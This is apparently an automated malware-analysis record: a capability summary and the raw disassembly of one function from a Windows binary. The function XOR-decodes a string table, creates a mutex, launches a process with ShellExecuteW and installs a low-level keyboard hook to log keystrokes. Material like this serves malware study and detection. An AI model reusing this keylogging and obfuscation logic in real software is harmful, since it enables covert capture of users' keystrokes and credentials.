Function at 0x401000
Capabilities:
Allocate thread local storage
Create process on windows
Encode data using xor
Log keystrokes via application hook

Disassembly:
push 0x884
push 0
push 0x7831a8
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
call sub.KERNEL32.dll_GetModuleHandleW
mov dword [0x7831ac], eax
push 0
push 0x1000
push 0
call sub.KERNEL32.dll_HeapCreate
mov dword [0x7831a8], eax
call fcn.00422f00
call fcn.004224a9
call fcn.00422150
call fcn.00420b20
call fcn.0041ea5c
call fcn.0041e300
call fcn.0041daaf
call fcn.0041d47e
call fcn.0041cf48
call fcn.0041cd87
call fcn.0041cb02
call fcn.0041b9e1
call fcn.004199c2
call fcn.004192c6
call fcn.00418d6d
call fcn.00417ab0
call fcn.00416da7
call fcn.004161b9
call fcn.004158fa
call fcn.00414322
call fcn.0041410e
call fcn.00414016
call fcn.00413ce1
call fcn.00412ada
mov edi, str.oMmMkMkMmMoMMMMM
mov ecx, 0x4074
xor byte [edi], 0x4d
inc edi
dec ecx
jne 0x4010c1
push edx
call fcn.00422f50
pop edx
push eax
push edx
call fcn.00422f50
pop edx
push eax
push edx
call fcn.00422f50
pop edx
push eax
push edx
call fcn.00422f50
pop edx
push eax
call fcn.00414351
call fcn.004121a2
add dword [esp], edx
call fcn.0041a8bc
push 0x783238
call fcn.00422f90
mov edx, 0x596148
lea ecx, [0x7831c4]
call fcn.00412008
mov dword [0x7831f8], 1
jmp 0x401120
mov eax, 0x59310c
push eax
push dword [0x7831c4]
call fcn.00420dd0
mov ebx, eax
inc ebx
cmp ebx, dword [0x7831f8]
jl 0x4012a5
push edx
call fcn.00422f50
pop edx
push eax
push edx
call fcn.00422f50
pop edx
push eax
mov edx, 0x593952
push edx
call fcn.00423020
push edx
call fcn.00422f50
pop edx
push eax
push edx
call fcn.00422f50
pop edx
push eax
mov eax, 0x59310c
push eax
push dword [0x7831f8]
push dword [0x7831c4]
call fcn.00420e60
pop eax
call fcn.004121a2
add dword [esp], edx
call fcn.0041a93b
call fcn.004121c0
push edx
push eax
pop ebx
pop edi
cmp ebx, 0xfffffffe
jne 0x4011a3
cmp edi, 0xffffffff
je 0x4011a7
xor eax, eax
jmp 0x4011ac
mov eax, 1
or eax, eax
je 0x401299
push edx
call fcn.00422f50
pop edx
push eax
mov edx, 0x5950de
push edx
call fcn.00423020
push edx
call fcn.00422f50
pop edx
push eax
push edx
call fcn.00422f50
pop edx
push eax
push edx
call fcn.00422f50
pop edx
push eax
push edx
call fcn.00422f50
pop edx
push eax
call fcn.00414351
call fcn.004121a2
add dword [esp], edx
call fcn.0041ab4f
pop eax
mov edx, 0x593ed2
push edx
call fcn.00423020
push edx
call fcn.00422f50
pop edx
push eax
push edx
call fcn.00422f50
pop edx
push eax
call fcn.00414351
pop eax
mov edx, 0x596bea
push edx
call fcn.00423020
mov edx, dword [0x783238]
push edx
call fcn.00423020
mov edx, 0x5968c2
push edx
call fcn.00423020
push 0x7831b0
call fcn.00422f90
push edx
call fcn.00422f50
pop edx
push eax
push 2
mov eax, 0x593036
push eax
push edx
call fcn.00422f50
pop edx
push eax
mov edx, 0x593eac
push edx
call fcn.00423020
mov edx, dword [0x7831b0]
push edx
call fcn.00423020
call fcn.00423080
mov eax, 0x596176
push eax
call fcn.004121a2
add dword [esp + 4], edx
call fcn.004143f0
call fcn.004121c0
jmp 0x4012a5
inc dword [0x7831f8]
jno 0x401120
mov eax, 0x5950bc
push eax
push 1
push 0
call sub.KERNEL32.dll_CreateMutexW
mov ebx, eax
and ebx, ebx
je 0x4012cd
call sub.KERNEL32.dll_GetLastError
mov ebx, eax
and ebx, ebx
jne 0x4012cd
jmp 0x4012d4
mov eax, 1
jmp 0x4012d6
xor eax, eax
and eax, eax
je 0x4012df
jmp 0x401829
push edx
call fcn.00422f50
pop edx
push eax
push edx
call fcn.00422f50
pop edx
push eax
push edx
call fcn.00422f50
pop edx
push eax
push edx
call fcn.00422f50
pop edx
push eax
push edx
call fcn.00422f50
pop edx
push eax
call fcn.00414351
call fcn.004121a2
add dword [esp], edx
call fcn.0041a8bc
call fcn.004121a2
add dword [esp], edx
call fcn.0041ab61
call fcn.004121c0
push edx
call fcn.00422f50
pop edx
push eax
push edx
call fcn.00422f50
pop edx
push eax
push 0
call fcn.00414aa3
call fcn.00423080
push 0x783208
call fcn.00422f90
call fcn.0041bbcd
push edx
call fcn.00422f50
pop edx
push eax
push edx
call fcn.00422f50
pop edx
push eax
push 1
push dword [0x783208]
call fcn.00420f90
push eax
mov eax, dword [0x783208]
push eax
call fcn.0041c510
call fcn.00423080
mov edx, 0x593654
call fcn.004121d0
mov ecx, eax
call fcn.004121e0
jne 0x4013c9
push 5
mov eax, 0x593036
push eax
mov eax, 0x593036
push eax
mov eax, 0x59625a
push eax
mov eax, 0x593786
push eax
push 0
call sub.SHELL32.dll_ShellExecuteW
jmp 0x401829
mov dword [0x7831b4], 0
mov edx, 0x5965f0
lea ecx, [0x7831d0]
call fcn.00412008
mov eax, 0x200
push eax
lea eax, [0x783a28]
push eax
push 0x5970c0
push 8
push 4
call fcn.004192e5
push edx
call fcn.00422f50
pop edx
push eax
push edx
call fcn.00422f50
pop edx
push eax
mov eax, 0x596914
push eax
call fcn.00414af1
mov edx, 0x596ee2
push edx
call fcn.00423020
mov eax, 0x593c66
push eax
push dword [0x783a28]
call fcn.004193b2
mov ebp, eax
lea eax, [ebp]
push eax
call fcn.00422f90
push edx
call fcn.00422f50
pop edx
push eax
push edx
call fcn.00422f50
pop edx
push eax
mov eax, 0x596914
push eax
call fcn.00414af1
mov edx, 0x596050
push edx
call fcn.00423020
mov eax, 0x59700c
push eax
push dword [0x783a28]
call fcn.004193b2
mov ebp, eax
lea eax, [ebp]
push eax
call fcn.00422f90
push edx
call fcn.00422f50
pop edx
push eax
push edx
call fcn.00422f50
pop edx
push eax
mov eax, 0x596914
push eax
call fcn.00414af1
mov edx, 0x595008
push edx
call fcn.00423020
mov eax, 0x596c1a
push eax
push dword [0x783a28]
call fcn.004193b2
mov ebp, eax
lea eax, [ebp]
push eax
call fcn.00422f90
push edx
call fcn.00422f50
pop edx
push eax
push edx
call fcn.00422f50
pop edx
push eax
mov eax, 0x596214
push eax
call fcn.00414af1
mov edx, 0x59316e
push edx
call fcn.00423020
mov eax, 0x596ab8
push eax
push dword [0x783a28]
call fcn.004193b2
mov ebp, eax
lea eax, [ebp]
push eax
call fcn.00422f90
push edx
call fcn.00422f50
pop edx
push eax
push edx
call fcn.00422f50
pop edx
push eax
mov eax, 0x596914
push eax
call fcn.00414af1
mov edx, 0x5960a0
push edx
call fcn.00423020
mov eax, 0x5939c0
push eax
push dword [0x783a28]
call fcn.004193b2
mov ebp, eax
lea eax, [ebp]
push eax
call fcn.00422f90
push edx
call fcn.00422f50
pop edx
push eax
push edx
call fcn.00422f50
pop edx
push eax
mov eax, 0x596914
push eax
call fcn.00414af1
mov edx, 0x59398a
push edx
call fcn.00423020
mov eax, 0x593826
push eax
push dword [0x783a28]
call fcn.004193b2
mov ebp, eax
lea eax, [ebp]
push eax
call fcn.00422f90
push edx
call fcn.00422f50
pop edx
push eax
push edx
call fcn.00422f50
pop edx
push eax
mov eax, 0x596214
push eax
call fcn.00414af1
mov edx, 0x596484
push edx
call fcn.00423020
mov eax, 0x593ee6
push eax
push dword [0x783a28]
call fcn.004193b2
mov ebp, eax
lea eax, [ebp]
push eax
call fcn.00422f90
push edx
call fcn.00422f50
pop edx
push eax
push edx
call fcn.00422f50
pop edx
push eax
mov eax, 0x596214
push eax
call fcn.00414af1
mov edx, 0x59701a
push edx
call fcn.00423020
mov eax, 0x593a0c
push eax
push dword [0x783a28]
call fcn.004193b2
mov ebp, eax
lea eax, [ebp]
push eax
call fcn.00422f90
call fcn.0041500e
call fcn.00416090
call fcn.00419d68
mov edx, 0x596828
lea ecx, [0x7831e8]
call fcn.00412008
push edx
call fcn.00422f50
pop edx
push eax
push edx
call fcn.00422f50
pop edx
push eax
call fcn.00416f11
push 0x7831f0
call fcn.00422f90
push edx
call fcn.00422f50
pop edx
push eax
push edx
call fcn.00422f50
pop edx
push eax
mov eax, 0x594f4c
push eax
call fcn.00414af1
push 0x783230
call fcn.00422f90
mov dword [0x78322c], 0
mov dword [0x78324c], 0
mov dword [0x7831fc], 0
mov dword [0x783220], 0
mov dword [0x7831cc], 1
mov dword [0x7831b8], 1
push edx
call fcn.00422f50
pop edx
push eax
call fcn.00411aeb
push 0x7831ec
call fcn.00422f90
push edx
call fcn.00422f50
pop edx
push eax
push edx
call fcn.00422f50
pop edx
push eax
mov eax, 0x5931b8
push eax
push 1
push dword [0x7831ec]
call fcn.00420e60
push 0x7831e0
call fcn.00422f90
push edx
call fcn.00422f50
pop edx
push eax
push edx
call fcn.00422f50
pop edx
push eax
push edx
call fcn.00422f50
pop edx
push eax
mov eax, 0x5931b8
push eax
push 2
push dword [0x7831ec]
call fcn.00420e60
call fcn.004121a2
add dword [esp], edx
call fcn.00420fc0
call fcn.004121c0
mov dword [0x783204], eax
push dword [0x7831ec]
mov edx, 0x593036
pop ecx
call fcn.004121e0
je 0x40176c
mov edx, 0x596e1c
lea ecx, [0x7831e0]
call fcn.00412008
mov dword [0x783204], 0xff98
push 0x10000000
mov eax, 0x593036
push eax
push 0
push 0
push 0
push 0
push 0
call fcn.00412b45
and eax, eax
je 0x401829
call fcn.0040f2d3
push 0
lea eax, [0x406369]
push eax
call fcn.0041406e
push 0
push 0
call sub.KERNEL32.dll_GetModuleHandleW
push eax
lea eax, [0x40699d]
push eax
push 0xd
call sub.USER32.dll_SetWindowsHookExW
mov dword [0x783250], eax
push 0
lea eax, [0x401f75]
push eax
call fcn.0041406e
mov dword [0x783210], eax
call fcn.00412ff5
mov dword [0x783228], eax
push 1
call fcn.00417642
mov ebx, dword [0x783228]
cmp ebx, 0x333c
jne 0x401823
call fcn.00418e87
mov ebx, eax
and ebx, ebx
jne 0x401823
mov eax, 1
jmp 0x401825
xor eax, eax
and eax, eax
je 0x4017ef
push 0
call 0x401848
call fcn.00422f30
push dword [0x7831a8]
call sub.KERNEL32.dll_HeapDestroy
call sub.KERNEL32.dll_ExitProcess
call fcn.00412ab7
call fcn.00413c8b
call fcn.00413fd4
call fcn.004158ee
call fcn.00416d77
call fcn.00417aa0
call fcn.00418d4f
call fcn.004199b1
call fcn.0041a69e
call fcn.0041ab73
call fcn.0041b9d5
call fcn.0041cf3c
call fcn.0041daa2
call fcn.00420b40
call fcn.00422537
call fcn.00422581
call fcn.00422140
ret